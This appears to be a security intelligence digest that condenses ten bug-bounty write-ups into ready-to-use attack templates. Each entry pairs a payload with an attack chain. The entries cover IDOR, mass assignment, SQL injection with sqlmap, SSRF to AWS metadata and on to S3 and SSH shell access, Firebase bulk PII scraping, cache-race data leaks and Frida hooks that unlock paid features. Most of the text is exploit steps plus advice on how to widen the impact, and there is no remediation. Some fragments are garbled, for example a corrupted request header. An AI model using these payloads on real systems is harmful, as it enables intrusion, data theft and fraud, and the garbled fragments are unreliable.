ETX Signal-X

Daily Intelligence Digest

Wednesday, February 25, 2026

10	21
ARTICLES	TECHNIQUES

Article 1

how i found the “Insufficient Authorization in Password Change Endpoint” vulnerability ?

Source: securitycipher

Date: 10-Jan-2025

URL: https://doordiefordream.medium.com/how-i-found-the-insufficient-authorization-in-password-change-endpoint-vulnerability-1f0e943daeea

T1 Insufficient Authorization in Password Change Endpoint

💉 **Payload**

```
POST /profile/change-password HTTP/1.1
Host: ahrcv.com
Content-Type: application/json
Cookie: sessionid=YOUR_SESSION_ID

{
  "old_password": "wrongpassword",
  "new_password": "hunter2"
}
```

⚔️ **Attack Chain**

1. Register as a normal user on ahrcv.com.
2. Navigate to the profile section and locate the password change functionality.
3. Intercept the password change request using Burp Suite.
4. Modify the "old_password" parameter to an incorrect value (e.g., "wrongpassword").
5. Submit the request and observe that the password is changed without proper validation of the old password.

🔍 **Discovery**

The researcher manually tested the password change endpoint by entering an incorrect old password and intercepting the request. The lack of validation was confirmed when the password change succeeded despite the wrong old password.

🔓 **Bypass**

The endpoint fails to verify the correctness of the old password, allowing any authenticated user to change their password regardless of their knowledge of the current password.

🔗 **Chain With**

This flaw can be chained with session fixation or account takeover attacks, as an attacker who gains a session can reset the password without knowing the original credentials.

Article 2

IDOR Vulnerability Allowed the Deletion of Any User from an Administrator Account.

Source: securitycipher

Date: 06-Nov-2024

URL: https://anas0x1.medium.com/idor-vulnerability-allowed-the-deletion-of-any-user-from-an-administrator-account-da64e79ce1b0

T1 IDOR User Deletion via Arbitrary User ID Manipulation

💉 Payload

```
POST /deletePerson HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://example.com/
Authorization: Bearer <jwt>
Content-Type: application/json
Content-Length: 51
Origin: https://example.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
2::5.0:109.0 20100101115.0::,0.5:,,:://example.com/::: 51://example.com::::
```

⚔️ Attack Chain

1. Register two accounts on the platform: one attacker admin, one victim admin.
2. Create a user under each account, noting their respective user IDs.
3. As attacker admin, intercept the legitimate user deletion request to `/deletePerson`.
4. Replace the `id` field in the JSON body with the victim user's ID.
5. Send the modified request with valid admin JWT.
6. Observe successful deletion of the victim user, confirming IDOR.

🔍 Discovery

Manual exploration of admin functionalities after business registration. Researcher identified endpoints for user management (`/updatePerson`, `/deletePerson`) and tested parameter manipulation by swapping user IDs between accounts.

🔓 Bypass

No additional access control checks on the `id` parameter. As long as the JWT is valid for any admin, arbitrary user IDs can be deleted regardless of account ownership.

🔗 Chain With

Combine with privilege escalation: If admin creation is weakly controlled, attacker can escalate to admin and mass-delete users across tenants. Use in combination with account takeover or session fixation to delete users post-compromise. Potential for lateral impact: deletion of users in other groups, policies, or business units if IDs are predictable or enumerable.

Article 3

Verification Bypass via “Mass Assignment”

Source: securitycipher

Date: 01-Dec-2023

URL: https://larebsec.medium.com/verification-bypass-via-mass-assignment-25707e210a42

T1 KYC/Verification Bypass via Mass Assignment in Registration

💉 **Payload**

```
{"name":"hacker","phone_no":"1234","passwd":"43211234","confirm_passwd":"43211234","email_v
erified":"true","phone_verified":"true","kyc_verified":"true"}
```

⚔️ **Attack Chain**

1. Register a new user account via the registration endpoint, sending a JSON payload.
2. Add extra parameters to the payload: `email_verified`, `phone_verified`, and `kyc_verified` set to `true`.
3. Submit the request and receive a 200 OK response.
4. Immediately access the `/userinfo` endpoint with the session cookie to confirm the account is marked as verified (all flags set to `true`).
5. Use the account to access features gated behind verification/KYC checks.

🔍 **Discovery**

Observed the `/userinfo` endpoint response after registration, which disclosed verification flags (`email_verified`, `phone_verified`, `kyc_verified`). Hypothesized that these flags could be manipulated via mass assignment by injecting them during registration. Tested by adding the parameters to the registration payload.

🔓 **Bypass**

The backend failed to restrict which parameters could be set by the user during registration, allowing direct assignment of privileged flags. No server-side filtering or validation on sensitive fields.

🔗 **Chain With**

Combine with IDOR or ATO for privilege escalation (register with someone else's email/phone, then immediately verify). Use verified status to bypass business logic checks, access restricted financial operations, or abuse referral/bonus systems.

Article 4

$2,000 Bounty: Breaking Capability Enforcement in CosmWasm Contracts

Source: securitycipher

Date: 05-Jul-2025

URL: https://infosecwriteups.com/2-000-bounty-breaking-capability-enforcement-in-cosmwasm-contracts-ddea3aa5d3dc

T1 Capability Declaration Removal in CosmWasm Contracts

💉 **Payload**

```
// During CosmWasm contract compilation, remove capability metadata strings:
// Original metadata example:
jsonCopyEdit"requires_staking": true,"requires_ibc": false
"requires_staking" true
"requires_ibc" false

// Remove all lines containing "requires_*" so the compiled contract contains NO capability
declarations.
```

⚔️ **Attack Chain**

1. Identify a Cosmos chain that restricts certain capabilities (e.g., staking, bank, IBC) for Wasm contracts.
2. Modify the CosmWasm compiler to strip out all capability declaration strings (e.g., "requires_staking", "requires_ibc") from the contract metadata during compilation.
3. Compile the contract so the resulting Wasm bytecode contains no capability requirements.
4. Deploy the contract to the chain; upload is allowed since no capabilities are declared.
5. Invoke restricted actions (e.g., staking, bank transfers) by sending CosmWasm messages that would normally require forbidden capabilities.
6. Actions execute successfully, bypassing chain-level restrictions.

🔍 **Discovery**

Researcher reviewed CosmWasm capability enforcement logic and noticed capability checks only occurred at upload, not at runtime. Experimented by removing capability strings from compiled contracts and observed unrestricted action execution.

🔓 **Bypass**

By omitting capability declaration strings during compilation, the chain's upload-time checks are bypassed. Since runtime enforcement is absent, any action can be executed regardless of chain restrictions.

🔗 **Chain With**

Combine with logic flaws in custom modules (e.g., DAO governance, NFT minting) for privilege escalation. Abuse cross-chain messaging (IBC) for unauthorized transfers. Spam or manipulate voting systems if staking is restricted.

T2 Fuzzing Capability Metadata for Enforcement Weaknesses

💉 Payload

```
// Fuzz the Wasm build process by randomizing or omitting capability metadata fields:
// Example fuzzed metadata:
jsonCopyEdit"requires_staking": "maybe","requires_ibc": null
"requires_staking" "maybe"
"requires_ibc" null
// Or completely omit capability fields:
// No "requires_*" fields present in contract metadata
```

⚔️ Attack Chain

1. Audit the source-to-Wasm compiler for how capability metadata is handled.
2. Fuzz the compilation process by randomizing, corrupting, or omitting capability fields in contract metadata.
3. Deploy contracts with altered metadata to chains with restricted capabilities.
4. Observe which contracts are accepted and which actions are allowed at runtime.
5. Identify enforcement gaps where contracts are accepted and can perform restricted actions due to malformed or missing capability metadata.

🔍 Discovery

Researcher systematically fuzzed capability metadata fields during contract compilation and tested contract upload/execution paths. Tracked which variations bypassed enforcement.

🔓 Bypass

Malformed or missing capability metadata causes the chain to misinterpret contract requirements, allowing forbidden actions due to lack of runtime validation.

🔗 Chain With

Use in tandem with other metadata-based bypasses (e.g., policy, scope, or permission fields). Test for similar flaws in other WebAssembly-based smart contract platforms.

T3 Runtime Invocation of Forbidden Actions via CosmWasm Messages

💉 Payload

```
// Example CosmWasm message to invoke a restricted action:
jsonCopyEdit{
  "stake_tokens": {
    "amount": "1000"
  }
}
"stake_tokens"
"amount"
"1000"
```

⚔️ Attack Chain

1. Deploy a contract with no capability declarations (via compiler modification or fuzzing).
2. Craft and send CosmWasm messages invoking actions that are forbidden by chain policy (e.g., staking, bank transfers).
3. The chain processes the message without runtime capability checks, allowing the action to execute.
4. Repeat for other restricted actions (e.g., cross-chain IBC transfers, DAO proposals).

🔍 Discovery

After deploying contracts with missing capability metadata, researcher sent various CosmWasm messages to test which restricted actions would execute. Observed successful invocation of forbidden actions.

🔓 Bypass

Absence of runtime capability checks allows any message to be dispatched, regardless of chain restrictions.

🔗 Chain With

Combine with governance manipulation or resource abuse for maximum impact. Use as a base for privilege escalation in multi-contract environments.

Article 5

Authorization bypass due to cache misconfiguration

Source: securitycipher

Date: 21-Aug-2024

URL: https://rikeshbaniya.medium.com/authorization-bypass-due-to-cache-misconfiguration-fde8b2332d2d

T1 Authorization Bypass via Short-Lived Cache Misconfiguration

💉 **Payload**

```
POST /graphql
Host: admin.target.com
{"operationName":"GetOrders","variables":{"shop_id":"X"},"query":"query X"}
```

⚔️ **Attack Chain**

1. Log into `admin.target.com` as an admin user and visit `/orders` to trigger a GraphQL request for order data.
2. Immediately (within ~3–4 seconds), send the same GraphQL request to `/graphql` with a low-privilege user token ("Auth: Bearer user") and the same `shop_id` parameter.
3. If timed correctly, the server returns the cached admin response to the low-privilege user, exposing order and customer information.

🔍 **Discovery**

Initial access control testing with Autorize flagged the endpoint as "bypassed" for normal users, but manual requests in Burp Repeater returned 403. The difference was traced to timing: Autorize's immediate requests exploited a short cache window, while manual requests missed it. The researcher confirmed by scripting rapid user requests after admin activity.

🔓 **Bypass**

The server caches admin responses for a brief period (3–4 seconds). If a low-privilege user requests the same resource during this window, the cached privileged data is returned, bypassing access controls.

🔗 **Chain With**

Combine with IDOR: If `shop_id` is guessable or enumerable, attacker can iterate over all shops and harvest data during admin activity. Automate with Intruder or custom scripts to maximize cache hit rate and data extraction.

T2 Continuous Cache Race Exploit via Automated Request Flooding

💉 Payload

```
POST /graphql
Host: admin.target.com
Auth: Bearer user
{"operationName":"GetOrders","variables":{"shop_id":"X"},"query":"query X"}
```

⚔️ Attack Chain

1. Create a script or use Burp Intruder to send continuous requests to the `GetOrders` GraphQL endpoint with a low-privilege user token and varying `shop_id` values.
2. Wait for an admin to access their portal, which triggers a privileged request and caches the response.
3. During the cache window, the attacker's script receives the privileged data, bypassing authorization.

🔍 Discovery

After observing inconsistent access control enforcement, the researcher automated requests to maximize the chance of hitting the cache window. This confirmed the vulnerability and enabled reliable exploitation.

🔓 Bypass

Automated flooding increases the likelihood of cache race success, enabling attackers to harvest privileged data whenever admins are active.

🔗 Chain With

Combine with shop enumeration or brute-forcing to extract data from multiple shops. Use in parallel with session fixation or token manipulation for broader privilege escalation.

Article 6

SSRF to S3 to Shell: The One-Key Takeover That Started With a Misconfigured Proxy

Source: securitycipher

Date: 23-Jul-2025

URL: https://medium.com/@narendarlb123/ssrf-to-s3-to-shell-the-one-key-takeover-that-started-with-a-misconfigured-proxy-c3149003630c

T1 SSRF via Misconfigured Proxy to Internal AWS Metadata

💉 **Payload**

```
GET / HTTP/1.1
Host: vulnerable-app.com
X-Forwarded-Host: 169.254.169.254
X-Forwarded-For: 127.0.0.1
```

⚔️ **Attack Chain**

1. Identify an endpoint that accepts user-controlled HTTP headers (e.g., X-Forwarded-Host).
2. Send a request with X-Forwarded-Host set to 169.254.169.254 to target AWS metadata service.
3. Leverage SSRF to retrieve AWS credentials from the metadata endpoint.
4. Extract access key, secret key, and session token from the response.

🔍 **Discovery**

Observed that the proxy trusted X-Forwarded-Host and allowed redirection to internal IPs. Manual header fuzzing revealed SSRF capability.

🔓 **Bypass**

Used X-Forwarded-Host header to bypass host validation and reach internal AWS metadata IP.

🔗 **Chain With**

Credentials obtained can be used to access AWS S3 buckets, escalate to further AWS services, or pivot to other internal resources.

T2 S3 Bucket Access Using Stolen AWS Credentials

💉 Payload

```
aws s3 ls s3://target-bucket --profile compromised
aws s3 cp s3://target-bucket/backup.zip . --profile compromised
```

⚔️ Attack Chain

1. Use AWS credentials obtained via SSRF to configure a local AWS CLI profile.
2. Enumerate accessible S3 buckets using `aws s3 ls`.
3. Download sensitive files (e.g., backup.zip) from the bucket using `aws s3 cp`.

🔍 Discovery

Credentials from SSRF were tested against AWS CLI; bucket enumeration revealed accessible sensitive files.

🔓 Bypass

No MFA or bucket policy restrictions prevented access; credentials were sufficient.

🔗 Chain With

Downloaded files may contain application secrets, database dumps, or keys for further compromise.

T3 Remote Shell Access via Compromised SSH Key from S3

💉 Payload

```
ssh -i compromised_id_rsa ec2-user@internal-ec2-instance
```

⚔️ Attack Chain

1. Extract SSH private key (e.g., id_rsa) from downloaded S3 backup.
2. Identify EC2 instance hostname or IP from backup or AWS CLI.
3. Use SSH key to authenticate and gain shell access to EC2 instance.

🔍 Discovery

Backup.zip contained SSH keys and host information; tested SSH login with compromised key.

🔓 Bypass

SSH key was not revoked; no IP restrictions or MFA enforced on EC2 instance.

🔗 Chain With

Shell access enables privilege escalation, lateral movement, and persistence within AWS infrastructure.

Article 7

A weakness has been identified in itsourcecode Society Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/edit_expenses_query.php. Executing a manipulation of the argument detail can lead to sql injection.

Source: threatable

Date:

URL: https://github.com/yyzq-wsx/for_cve/issues/3

T1 Unauthenticated SQL Injection via 'detail' Parameter in /admin/edit_expenses_query.php

💉 **Payload**

```
POST /admin/edit_expenses_query.php HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded

id=1&detail=1' OR '1'='1
```

⚔️ **Attack Chain**

1. Identify the /admin/edit_expenses_query.php endpoint on the Society Management System V1.0 instance.
2. Craft a POST request with the 'detail' parameter containing a SQL injection payload (e.g., 1' OR '1'='1).
3. Send the request without authentication; observe the response for SQL injection evidence (data leakage, altered query behavior).
4. Use automated tools (e.g., sqlmap) to enumerate databases, tables, and extract sensitive information.

🔍 **Discovery**

Manual code review and endpoint testing revealed that the 'detail' parameter is used directly in SQL queries without sanitization. The researcher targeted this parameter due to its user-controlled nature and lack of input validation.

🔓 **Bypass**

No authentication or authorization required; the endpoint is exposed and accepts unauthenticated requests. SQL injection is possible even if other parameters are sanitized, as 'detail' is not.

🔗 **Chain With**

Combine with privilege escalation if database user has excessive permissions. Pivot to file write/read via SQL functions if allowed. Use UNION-based injection to enumerate tables and columns for further attacks (e.g., credential extraction).

T2 Automated SQL Injection Exploitation with sqlmap

💉 Payload

```
python sqlmap.py -r 1.txt --batch --dbs
```

⚔️ Attack Chain

1. Prepare a request file (1.txt) containing the vulnerable POST request to /admin/edit_expenses_query.php with the injectable 'detail' parameter.
2. Run sqlmap with the request file to automate database enumeration and extraction.
3. Use sqlmap options (--dbs, --tables, --dump) to retrieve database structure and contents.

🔍 Discovery

After confirming manual injection, the researcher used sqlmap to automate exploitation and verify impact by extracting database names and contents.

🔓 Bypass

sqlmap can automatically detect and exploit the injection, bypassing basic input filters and extracting data even if some protections are in place.

🔗 Chain With

Use sqlmap's --os-shell or --file-write options if the DBMS supports it for remote code execution. Combine with lateral movement to escalate from DB access to application or system compromise.

Article 8

Ignoring a Firebase Public Configuration?

Source: securitycipher

Date: 25-Oct-2025

URL: https://medium.com/@m0n3m/ignoring-a-firebase-public-configuration-9ccb9159abb5

T1 Enumerating Public Firebase Config via JS Recon

💉 **Payload**

```
cat output.txt | grep -E "\.js" >> js.txt
cat js.txt | mantra
```

⚔️ **Attack Chain**

1. Enumerate subdomains (e.g., outlet.target.com) using recon tools.
2. Use WaybackURLs to collect historical URLs for the target domain.
3. Filter for JavaScript files from the output.
4. Scan JS files for secrets using Mantra.
5. Identify Firebase public configuration and API keys in JS files.

🔍 **Discovery**

Recon on suspicious subdomains, followed by historical URL scraping and JS secret scanning. The presence of a file named `fire-base.js` triggered deeper investigation.

🔓 **Bypass**

N/A (initial access is via public JS exposure)

🔗 **Chain With**

Can be chained with other exposed secrets or endpoints found in JS files, such as Google API keys or additional cloud service configurations.

T2 Client-Side Firebase SDK Initialization to Bypass Direct API Restrictions

💉 Payload

```
// Pseudocode for Firebase SDK initialization
import firebase from "firebase/app";
import "firebase/storage";

const firebaseConfig = {
  apiKey: "AIza...",
  authDomain: "...",
  projectId: "...",
  storageBucket: "..."
};
firebase.initializeApp(firebaseConfig);
const storage = firebase.storage();

// List files with prefix
storage.ref("ShippingLabels/").listAll().then((res) => {
  res.items.forEach((itemRef) => {
    itemRef.getDownloadURL().then((url) => {
      // Download exposed shipping label
      fetch(url).then(resp => resp.blob()).then(blob => {
        // Process blob (PII extraction)
      });
    });
  });
});
```

⚔️ Attack Chain

1. Extract Firebase public config from JS files.
2. Initialize Firebase client using the SDK with the extracted config.
3. Use client-side functions (e.g., listAll, getDownloadURL) to enumerate and access storage buckets.
4. Target the `ShippingLabels/` folder and retrieve files.
5. Download and parse files containing PII (names, phone numbers, addresses, order IDs).

🔍 Discovery

After direct API requests returned 403 Forbidden, the researcher mimicked legitimate client behavior using the Firebase SDK, leveraging the public config to access storage buckets.

🔓 Bypass

Direct API calls returned 403, but using the Firebase SDK as a client bypassed these restrictions, allowing access to files not protected by proper storage rules.

🔗 Chain With

Can be chained with privilege escalation if other buckets or folders contain admin or sensitive files. Also enables chaining with SSRF or XSS if download URLs are further exploitable.

T3 Exploiting Misconfigured Storage Bucket Permissions for Mass PII Disclosure

💉 Payload

```
// Accessing unrestricted files in Firebase Storage
storage.ref("ShippingLabels/").listAll()
// Downloading files
itemRef.getDownloadURL()
```

⚔️ Attack Chain

1. Use Firebase SDK to enumerate files in the `ShippingLabels/` folder.
2. Download each file directly via public URLs.
3. Extract PII from shipping label documents (names, phone numbers, addresses, order IDs, warehouse info).
4. Repeat for all files (over 75,000 exposed labels).

🔍 Discovery

After SDK initialization, the researcher discovered that the `ShippingLabels/` folder had no access restrictions, allowing mass download of sensitive documents.

🔓 Bypass

Expected 403 Forbidden, but bucket permissions were misconfigured, allowing unrestricted access via SDK.

🔗 Chain With

Potential for chaining with automated scraping, credential stuffing (if labels contain login info), or targeted phishing campaigns using exposed PII.

Article 9

Breaking Down Mobile App Premium Paywalls: A Deep Dive into Android In-App Purchase Security...

Source: securitycipher

Date: 10-Jul-2025

URL: https://frostyxsec.medium.com/breaking-down-mobile-app-premium-paywalls-a-deep-dive-into-android-in-app-purchase-security-3f11db444f51

T1 Client-Side Premium Validation Bypass via Frida Hook

💉 **Payload**

```
Java.perform(function() {
    var PremiumChecker = Java.use("com.example.PremiumValidator");
    PremiumChecker.isPremium.implementation = function() {
        console.log("Premium check intercepted! 🎯");
        return true; // Always premium now 😈
    };
});
```

⚔️ **Attack Chain**

1. Decompile APK and identify premium validation logic (e.g., `isPremiumUser()` method).
2. Use Frida to hook into the runtime and override the premium validation method to always return `true`.
3. Launch app with Frida script active; all premium features are unlocked without payment.

🔍 **Discovery**

Static analysis with APKTool/Jadx revealed client-side premium checks. Dynamic analysis with Frida confirmed the ability to intercept and override validation logic.

🔓 **Bypass**

Premium status is determined entirely on the client, allowing runtime method override to simulate legitimate premium access.

🔗 **Chain With**

Can be combined with manipulation of other client-side purchase validation methods (e.g., subscription checks, purchase history) for full access.

T2 Manipulation of SharedPreferences for Premium Status Elevation

💉 Payload

```
SharedPreferences.getBoolean("premium_status", false);
SharedPreferences.getBoolean("lifetime_purchase", false);
SharedPreferences.getString("subscription_type", "none");
```

⚔️ Attack Chain

1. Decompile APK and identify SharedPreferences keys used for premium status.
2. Use Frida, Xposed, or direct file manipulation to set `premium_status` and/or `lifetime_purchase` to `true` and `subscription_type` to a valid premium value.
3. Restart app; premium features are now unlocked without legitimate purchase.

🔍 Discovery

Static analysis revealed premium status stored in SharedPreferences. Dynamic analysis confirmed app behavior changes when values are manipulated.

🔓 Bypass

App reads premium status directly from local storage, allowing attacker to set values arbitrarily.

🔗 Chain With

Can be combined with method hooking (Technique 1) or used to simulate purchase history for additional feature unlocks.

T3 Bypassing Multiple Client-Side Validation Layers with Minimal Hooks

💉 Payload

```
// Pseudo-code of what I discovered
if (isPremiumUser()) {
    unlockAllFeatures();
} else {
    showPaywall();
}
```

⚔️ Attack Chain

1. Identify all client-side validation methods (lifetime, monthly, yearly, purchase history, SharedPreferences).
2. Use Frida or similar to hook each validation method and force them to return values indicating valid premium/subscription status.
3. App logic treats attacker as legitimate premium user; all paywalls and feature restrictions are removed.

🔍 Discovery

Static and dynamic analysis revealed multiple validation layers, all performed on the client. Method hooking demonstrated that overriding a few key methods bypasses all checks.

🔓 Bypass

All validation logic is client-side; attacker can override or manipulate each check with minimal effort.

🔗 Chain With

Combine with SharedPreferences manipulation and method hooks for comprehensive bypass, including simulating purchase history and subscription types.

Article 10

From Open Redirect to Internal Access: My SSRF Exploit Story

Source: securitycipher

Date: 06-Jul-2025

URL: https://infosecwriteups.com/from-open-redirect-to-internal-access-my-ssrf-exploit-story-10a736962f98

T1 SSRF Bypass via Open Redirect Chaining

💉 **Payload**

```
https://thumbnail.example.com/?url=https://blip.example.com/flip?u=http://localhost:80
```

⚔️ **Attack Chain**

1. Identify a thumbnail generation endpoint on `thumbnail.example.com` that fetches images from external URLs via the `url` parameter.
2. Confirm SSRF protections block direct requests to internal resources (e.g., `localhost`, private IPs).
3. Locate an open redirect on a third-party domain (`blip.example.com`) with the endpoint `/flip?u=`.
4. Craft a payload where the `url` parameter points to the open redirect endpoint, which itself redirects to an internal resource (e.g., `http://localhost:80`).
5. Submit the payload to the thumbnail endpoint.
6. Observe that the backend follows the redirect and attempts to access the internal resource, bypassing SSRF protections.

🔍 **Discovery**

Reconnaissance phase identified the thumbnail endpoint and SSRF protection. Manual testing of third-party domains revealed an open redirect, which was then chained to bypass SSRF restrictions.

🔓 **Bypass**

SSRF protection only checked the initial URL, not the final destination after following redirects. By leveraging a trusted external domain with an open redirect, the backend blindly followed the redirect to an internal resource.

🔗 **Chain With**

Internal port scanning by varying the port in the redirect target (e.g., `http://localhost:443`, `http://localhost:3306`). Accessing internal-only endpoints (admin panels, databases). Potential access to cloud metadata endpoints (e.g., `http://169.254.169.254`). Further exploitation if internal services are vulnerable (e.g., RCE, credential exposure).

T2 Internal Port Scanning via SSRF Redirect Chain

💉 Payload

```
https://thumbnail.example.com/?url=https://blip.example.com/flip?u=http://localhost:443
```

⚔️ Attack Chain

1. Use the same open redirect chaining as above, but change the port in the redirect target to scan for internal services.
2. Submit the payload to the thumbnail endpoint.
3. Analyze the server's response for connection errors or returned data, indicating whether a service is running on the specified port.

🔍 Discovery

After confirming SSRF via open redirect, systematically varied the port in the payload to enumerate internal services and open ports.

🔓 Bypass

Backend does not validate the final resolved IP or port after following redirects, allowing port scanning by iterating payloads.

🔗 Chain With

Enumerate running internal services (databases, admin panels, etc.). Use discovered ports/services as entry points for further attacks (e.g., database exploitation, privilege escalation).